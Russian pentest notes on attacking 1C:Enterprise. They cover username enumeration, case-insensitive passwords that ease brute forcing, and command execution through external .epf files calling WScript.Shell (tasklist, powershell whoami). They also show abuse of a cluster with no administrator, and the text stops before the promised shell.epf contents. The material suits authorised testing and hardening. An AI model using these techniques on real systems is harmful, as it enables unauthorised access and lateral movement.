1C
Что нужно знать, при пентесте 1С
Иногда там выдаются имена пользователей (если включено) в автодополнении, либо можно попробовать обратиться на /ru_RU/e1cib/users.
Пароли из коробки не чувствительны к регистру. "Пароль" и "пАрОль" - одно и тоже, что уменьшает количество для брута (особенно классно вместе с предыдущим пунктом).
Внутри часто есть выполнение произвольного кода.
Если в 1С включено интерактивное открытие внешних отчетов и обработок, то достаточно тыкнуть Файл => Открыть и загрузить консоль запросов для управляемого приложения с разширением epf.
В консоле же легко выполнять произвольные команды и выводить их с помощью функции "Сообщить".

Например:
СисИнфо = Новый СистемнаяИнформация;
Shell = Новый COMОбъект("WScript.Shell");
UserDir = Shell.ExpandEnvironmentStrings("%USERPROFILE%");
Сообщить(СисИнфо.ВерсияОС+" "+СисИнфо.ТипПлатформы+Символы.ПС+Символы.ПС+СисИнфо.Процессор+", RAM: "+СисИнфо.ОперативнаяПамять+" МБ"+Символы.ПС);
Сообщить("Каталог 1с: " + КаталогПрограммы());
Сообщить("Пользователь: "+UserDir);
Тасклист=Shell.Exec("tasklist /v");
Сообщить(Тасклист.StdOut.ReadAll());
Дальше уже можно загружать внешние сценарии, повышать привилегии (скорее всего уже будет админ) и распространяться по сети.
Еще пример test.epf скрипта
&НаСервере
Процедура ДействиеВыполнитьНаСервере()
Попытка
Shellexec = Новый COMОбъект("WScript.Shell");
Shellexec.Exec("powershell whoami");
Исключение
Сообщить("Error!");
КонецПопытки;
КонецПроцедуры
&НаКлиенте
Процедура ДействиеВыполнить(Команда)
ДействиеВыполнитьНаСервере();
КонецПроцедуры
Администратор кластера на сервере 1C
Если на сервере 1C отсутстует администратор кластера, то такая конфигурация позоляет, подключившись к серверу 1C, добавить собственную БД кластер 1C и вывполнить произвольный код на сервере 1C.
Для проверки лезем в Console Root\Central 1C:Enterprise XX servers\Some IP\Кластеры\Имя кластера\Администраторы
Если там пусто, то в враздел Информационные базы добавляем свою базу и загружаем внешнюю обработку (shell.epf) 1С для выполнения кода на сервере:

Last updated
Was this helpful?